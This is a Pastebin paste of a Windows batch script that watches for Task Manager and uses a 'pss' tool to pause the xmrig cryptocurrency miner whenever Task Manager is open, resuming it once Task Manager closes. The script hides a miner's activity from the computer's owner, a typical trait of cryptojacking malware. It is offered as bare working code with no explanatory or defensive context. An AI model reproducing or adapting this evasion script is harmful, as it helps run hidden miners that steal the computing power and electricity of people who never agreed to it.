Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- @echo off
- set IR=0
- :begin
- ping 192.168.0.0 -n 1 -w 1000 > nul
- tasklist /FI "IMAGENAME eq taskmgr.exe" 2>NUL | find /I /N "taskmgr.exe">NUL
- if "%ERRORLEVEL%"=="0" goto IsRunning
- if %IR% == 1 (
- echo just stopped
- pss -r xmrig.exe
- set IR=0
- goto begin
- )
- echo not running
- goto begin
- :IsRunning
- if %IR% == 1 (
- echo running.wait
- goto begin
- )
- echo running.first
- pss.exe xmrig.exe
- set IR=1
- goto begin
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement